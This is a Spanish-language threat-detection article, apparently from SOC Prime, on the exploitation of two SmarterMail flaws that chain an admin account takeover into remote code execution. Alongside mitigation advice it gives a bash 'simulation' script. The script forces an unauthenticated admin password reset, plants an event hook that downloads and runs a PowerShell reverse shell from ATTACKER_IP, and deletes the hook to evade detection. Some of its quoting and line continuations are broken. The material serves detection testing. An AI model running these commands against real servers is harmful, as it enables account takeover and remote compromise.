SOC Prime Bias: Crítico

04 Feb 2026 16:59

DE&TH a las Vulnerabilidades: Huntress Detecta Toma de Cuenta de SmarterMail que Conduce a Ejecución Remota de Código

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
DE&TH a las Vulnerabilidades: Huntress Detecta Toma de Cuenta de SmarterMail que Conduce a Ejecución Remota de Código
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Huntress observó abuso en la naturaleza de dos fallos de SmarterMail que permiten la toma de control de cuentas privilegiadas y, en última instancia, la ejecución remota de código. Los atacantes inician flujos de restablecimiento de contraseña no autenticados para obtener un token privilegiado, y luego abusan de los ‘eventos del sistema’ de SmarterMail para ejecutar comandos para el reconocimiento del host. La actividad impactó a múltiples clientes y mostró signos de explotación amplia y automatizada a gran escala.

Investigación

Los analistas de Huntress reconstruyeron una secuencia consistente de solicitudes HTTP POST contra los puntos finales del API de SmarterMail que se utilizan para desencadenar restablecimientos de contraseña, autenticar, configurar eventos del sistema, agregar dominios controlados por atacantes y, más tarde, eliminar rastros. La cadena apunta a CVE-2026-23760 (toma de control de cuenta privilegiada) y CVE-2025-52691 (carga de archivo arbitraria). Las solicitudes usaban comúnmente el agente de usuario python-requests/2.32.4, y los operadores dejaron archivos result.txt que contenían la salida de reconocimiento de los comandos ejecutados.

Mitigación

Actualice SmarterMail a la compilación 9511 o posterior para abordar ambos CVEs. Revise y restrinja la exposición del API, deshabilite o restrinja los eventos del sistema innecesarios, y monitoree la actividad anómala del API que altera cuentas, eventos o dominios. Identifique y elimine cualquier evento del sistema y dominio creado por atacantes para eliminar la persistencia.

Respuesta

Busque el patrón de llamadas API sospechoso y el agente de usuario python-requests/2.32.4, bloquee las IPs de origen ofensivas y elimine los eventos del sistema maliciosos. Rote inmediatamente las credenciales privilegiadas. Realice forense de puntos finales para localizar result.txt y verificar si se prepararon cargas adicionales. Notifique a los usuarios/clientes afectados y proporcione una guía de remediación clara.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[«<b>Acción</b> – <b>T1212 Explotación para Acceso a Credenciales</b><br/>El atacante explota CVE-2026-23760 mediante POST /api/v1/auth/force-reset-password para restablecer una contraseña privilegiada.»] class action_exploit_cred action action_authenticate[«<b>Acción</b> – <b>T1078 Cuentas Válidas</b> & <b>T1134.003 Manipulación de Tokens de Acceso</b><br/>Usando las nuevas credenciales, POST /api/v1/auth/authenticate-user obtiene un token de acceso.»] class action_authenticate action tool_requests[«<b>Herramienta</b> – <b>Nombre</b>: python-requests 2.32.4<br/><b>Propósito</b>: Cliente HTTP utilizado para llamadas a la API»] class tool_requests tool data_token[«<b>Datos</b> – Token de Acceso<br/>Almacenado para interacciones posteriores con la API»] class data_token data action_config_event[«<b>Acción</b> – <b>T1569 Servicios del Sistema</b> & <b>T1574 Secuestro del Flujo de Ejecución</b><br/>POST /api/v1/settings/sysadmin/event-hook crea un evento de sistema malicioso.»] class action_config_event action action_add_domain[«<b>Acción</b> – <b>T1204 Ejecución del Usuario</b><br/>POST /api/v1/settings/sysadmin/domain-put agrega un dominio que activa el evento y ejecuta comandos de reconocimiento.»] class action_add_domain action data_result[«<b>Datos</b> – result.txt<br/>Archivo creado en C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt»] class data_result data action_cleanup[«<b>Acción</b> – Pasos de limpieza<br/>POST /api/v1/settings/sysadmin/domain-delete y event-hook-delete para eliminar artefactos.»] class action_cleanup action action_remove_logs[«<b>Acción</b> – <b>T1070.001 Borrado de Registros de Eventos de Windows</b>»] class action_remove_logs action action_file_deletion[«<b>Acción</b> – <b>T1070.004 Eliminación de Archivos</b><br/>Elimina result.txt y archivos relacionados.»] class action_file_deletion action action_clear_persistence[«<b>Acción</b> – <b>T1070.009 Eliminación de Persistencia</b>»] class action_clear_persistence action %% Connections action_exploit_cred –>|usa| tool_requests action_exploit_cred –>|conduce_a| action_authenticate action_authenticate –>|produce| data_token data_token –>|usado_por| action_config_event action_config_event –>|crea| action_add_domain action_add_domain –>|escribe| data_result action_add_domain –>|activa| action_cleanup action_cleanup –>|incluye| action_remove_logs action_cleanup –>|incluye| action_file_deletion action_cleanup –>|incluye| action_clear_persistence

Flujo de Ataque

Ejecución de Simulación

Requisito previo: El chequeo pre-vuelo de Telemetría y Línea Base debe haber pasado.

Narrativa de Ataque y Comandos

  1. Reconocimiento: El atacante descubre que la instancia de SmarterMail ejecuta una versión vulnerable a CVE‑2026‑23760.
  2. Forzar Restablecimiento de Contraseña (T1098): Usando el punto final de restablecimiento de contraseña forzado para establecer una contraseña conocida para el cuenta de administrador privilegiada.
  3. Autenticar (T1078): Inicie sesión con las credenciales recién establecidas a través del punto final de autenticar-usuario obteniendo un token de sesión.
  4. Desplegar Hook de Evento Malicioso (T1569): POST un payload JSON elaborado a event-hook que apunta a una shell inversa de PowerShell alojada en el servidor del atacante.
  5. Ejecutar Ok/Ok ejecutar: El hook de evento corre automáticamente en el servidor web, generando una shell inversa para el atacante.
  6. Limpieza: Elimine el hook malicioso a través del punto final de eliminación de hook de evento (excluido de la detección).

Todos los pasos generan eventos HTTP POST que coinciden con los criterios de selección de la regla Sigma. selección

Script de Prueba de Regresión

#!/usr/bin/env bash
# -------------------------------------------------
# Simulación de Control de Cuenta SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Forzar restablecimiento de contraseña (no autenticado)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Autenticar y capturar token de sesión
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Desplegar hook de evento malicioso (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] Hook de evento malicioso desplegado. Esperando shell inversa..."

# 4. (Opcional) Esperar shell inversa – el atacante ejecuta el oyente por separado:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Limpieza – eliminar el hook (excluido de la detección)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Comandos de Limpieza

#!/usr/bin/env bash
# Eliminar cualquier hook malicioso residual y restablecer la contraseña del administrador

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Autenticar con la contraseña segura (si se conoce) o usar el token anterior
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Eliminar el hook de evento malicioso (si aún está presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Restablecer la contraseña del administrador a un valor conocido
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"